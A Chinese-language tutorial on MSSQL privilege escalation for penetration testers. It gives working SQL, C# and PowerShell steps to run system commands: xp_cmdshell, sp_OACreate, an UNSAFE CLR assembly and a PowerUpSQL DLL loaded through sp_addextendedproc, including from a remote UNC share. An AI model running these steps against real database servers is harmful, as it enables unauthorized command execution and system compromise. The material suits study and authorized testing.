1. 程式人生 > >Mssql提權

Mssql提權

perm author ech cli threading 分析 public 套件 chan

一、xp_cmdshell提權

首先使用sqlmap查看是DBA權限,通過xp_cmdshell來執行命令

默認情況下是關閉的,用下邊的命令開啟

EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE;

如果xp_cmdshell被刪除,可以嘗試上傳xplog70.dll進行恢復,恢復語句:

Exec master.dbo.sp_addextendedproc ‘xp_cmdshell‘,‘c:\\xplog70.dll‘

二、SP_OACreate

當xp_cmdshell 刪除以後,還可以使用SP_OACreate

首先要打開組件:

EXEC sp_configure ‘show advanced options‘, 1;   
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures‘, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘show advanced options‘, 0;

之後使用以下語句執行命令:

declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell output exec sp_oamethod @shell,‘run‘,null,‘c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt‘

這種方式是無回顯的,打開1.txt查看命令執行結果

三、SQL Server CLR

Microsoft SQL Server 現在具備與 Microsoft Windows .NET Framework

的公共語言運行時 (CLR) 組件集成的功能

CLR 為托管代碼提供服務,例如跨語言集成、代碼訪問安全性、對象生存期管理以及調試和分析支持。

對於 SQL Server 用戶和應用程序開發人員來說

CLR 集成意味著您現在可以使用任何 .NET Framework 語言

(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)

編寫存儲過程、觸發器、用戶定義類型、用戶定義函數(標量函數和表值函數)以及用戶定義的聚合函數。

要通過此種方式來執行命令,也有幾個前提:

1、在SQL Server上能啟用CLR並可以創建自定義存儲過程
2、SQL Server當前賬號具有執行命令/代碼所需要的權限

創建CLR有兩種方式: 方式一:使用DLL文件進行創建

CREATE ASSEMBLY AssemblyName from ‘DLLPath’

方式二:使用文件16進制流進行創建

CREATE ASSEMBLY AssemblyName from 文件十六進制流

對於做滲透的我們,當然是沒有文件是最好的方式了,因此,本文主要介紹方式二


1、安裝Visual Studio和SQL Server數據庫,此次測試使用了VS2017跟SQL2012。

2、創建一個新的SQL Server數據庫項目

3、設置項目屬性,目標平臺修改為需要的目標平臺,如SQL Server 2012;

將SQLCLR權限級別修改為UNSAFE;修改.Net 框架版本為自己需要的版本;語言選擇C#

4、右鍵項目,選擇添加->新建項,新建SQL CLR C# 存儲過程

5、填入以下測試代碼:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此處放置代碼
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";
process.Start();
}
}

6、填入代碼以後進行編譯,之後到編譯目錄下可以看到一個dacpac後綴的文件

7、雙擊此文件進行解壓,將解壓出一個名為mode.sql的文件。

8、執行SQL文件中的以下語句

CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;

之後執行:

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
?

9、開啟數據庫服務器配置選項clr enabled

EXEC sp_configure N‘show advanced options‘, N‘1‘ 
RECONFIGURE WITH OVERRIDE
?
--開啟clr enabled 選項
EXEC sp_configure N‘clr enabled‘, N‘1‘
RECONFIGURE WITH OVERRIDE
?
--關閉所有服務器配置選項
EXEC sp_configure N‘show advanced options‘, N‘0‘
RECONFIGURE WITH OVERRIDE
?
--如果存在權限問題,執行下面一段腳本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner ‘sa‘
?

10、執行命令:

EXEC [dbo].[SqlStoredProcedure1];

11、刪除存儲過程

DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode
?

四、PowerUpSQL 工具利用

項目地址:https://github.com/NetSPI/PowerUpSQL

SP_Addextendedproc

套件中的Create-SQLFileXpDll方法,創建DLL:

cd PowerUpSQL
. .\PowerUpSQL.ps1
Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\
test.txt" -ExportName xp_test

SQL Server 通過 sp_addextendedproc 調用DLL從而達到命令執行的效果

有兩種方式導入:

//via local disk
sp_addextendedproc ‘xp_test‘, ‘D:\temp\exec.dll‘
//via UNC path:
sp_addextendedproc ‘xp_test‘, ‘\\servername\pathtofile\exec.dll‘

導入之後的可調用xp_test來執行命令:

exec master..xp_test;

通過以下命令可以卸載:

sp_dropextendedproc ‘xp_test‘

擴展閱讀-SMB Relay (SMB中繼攻擊)

https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/

Refer

MSSQL DBA權限獲取WEBSHELL的過程

Mssql提權